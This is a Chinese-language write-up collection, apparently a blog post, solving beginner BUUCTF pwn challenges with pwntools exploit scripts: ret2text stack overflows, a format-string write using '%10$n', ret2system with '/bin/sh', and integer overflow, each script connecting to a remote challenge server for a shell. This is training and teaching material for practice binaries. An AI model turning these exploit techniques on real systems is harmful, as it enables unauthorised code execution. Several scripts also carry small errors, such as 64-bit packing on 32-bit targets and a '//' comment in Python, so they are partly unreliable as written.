看前提示:
需要了解ret2text和格式化字符串漏洞
2.rip
提示:这道题涉及栈对齐问题,需要在padding后面加上一个返回地址。

很明显的栈溢出漏洞。

存在后门。
脚本如下:
from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',26306)
payload=b'a'*(0xf+8)+p64(0x401185)+p64(0x401186)
p.sendline(payload)
p.interactive()
3.warmup_csaw_2016
原理和上面那道题一样
脚本如下:
from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',28277)
payload=b'a'*(0x40+8)+p64(0x40060D)
p.sendline(payload)
p.interactive()
4.ciscn_2019_n_1
思路一:
通过v1修改v2的数值,v1和v2距离覆盖,并修改v2的数值:
from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',27474)
payload=b'a'*(0x30-0x4)+p64(0x41348000)
p.sendline(payload)
p.interactive()
思路二:
直接修改返回地址,
from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',27474)
cat=0x4006BE
payload=b'a'*(0x30+8)+p64(cat)
p.sendline(payload)
p.interactive()
5.pwn1_sctf_2016
使用了更加安全的fgets函数,限制了我们的输入长度最大为32
先看伪代码

有replace替换'I'为'you'
直接运行看看:

不难看出只要输入了'I',程序就会把它变为‘you’
这就有办法了:
虽然s数组的首地址距ebp 0x3c,如果只是输入32个字符远远不能覆盖到返回地址,但是在输入一个'I'后,程序会自动将它变为三字节的‘you’,也就是说,我们输入32个'I'就等于输入了32个'you',也就是96字节。
所以我们一共需要覆盖0x3c+4,也就是十进制的64,所以我们构造的payload就应该是:
payload=b'I'*21+b'a'
完整脚本如下:
from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',27598)
backdoor=0x8048F0D
payload=b'I'*21+b'a'+p64(backdoor)
p.sendline(payload)
p.interactive()
6.jarvisoj_level0
这道题和最基本的ret2text做法一样,不在赘述
from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',27212)
backdoor=0x400596
payload=b'I'*(0x80+8)+p64(backdoor)
p.sendline(payload)
p.interactive()
7.[第五空间2019 决赛]PWN5
先查看保护:

Canary保护开启,栈溢出就不是很好用了。
看一眼伪代码

看来并不需要我们进行覆盖到返回地址,Canary保护也就无所谓了
可以看到,程序生成了一个随机数,并将这个随机数储存到了变量buf_中(不是buf那个数组)
可以看到,这里有printf(buf)这一步,很明显的格式化字符串漏洞;
所以,我们的任务是将buf_的变量值进行修改;
第一步,查看buf_地址:双击buf_;
第二步,确定偏移量:

偏移量是10;
第三步,确定想要修改为的数值,这里不管了,直接为4;
脚本如下:
from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',29487)
bss=0x804C044
payload=p32(bss)+b'%10$n'
p.sendline(payload)
p.sendline(str(4))
p.interactive()
8.jarvisoj_level2
查看下字符串:
既有system函数,又有/bin/sh可以使用,所以直接拼接一下就好了。文件位数是32位的,也不用考虑寄存器问题了
脚本如下:
from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',27503)
system=0x8048320
binsh=0x804A024
payload=b'a'*(0x88+4)+p32(system)+p32(0xdeadbeef)+p32(binsh)//这里需要胡诌一个返回地址
p.recvuntil('Input:')
p.sendline(payload)
p.interactive()
9.ciscn_2019_n_8

这道题要通过数组来修改n17的数值,和上面一道题一样,不再赘述
脚本如下:
from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',27449)
payload=b'a'*0x34+p32(17)
p.sendline(payload)
p.interactive()
10.bjdctf_2020_babystack
这道题涉及到整形溢出,

脚本如下:
from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',29241)
backdoor=0x4006E6
payload=b'a'*(0x10+8)+p64(backdoor)
p.recvuntil(b'name:')
p.sendline(b'-1')
p.recvuntil(b'name?')
p.sendline(payload)
p.interactive()
当然了,不使用整形溢出也是可以的,反正源程序只是通过nbytes这个参数来限定read读入的buf的字节数,所以,如果nbytes只要大于(0x10+8)就可以了。比如100.
BUUCTF PWN题目解析合集
493

被折叠的 条评论
为什么被折叠?



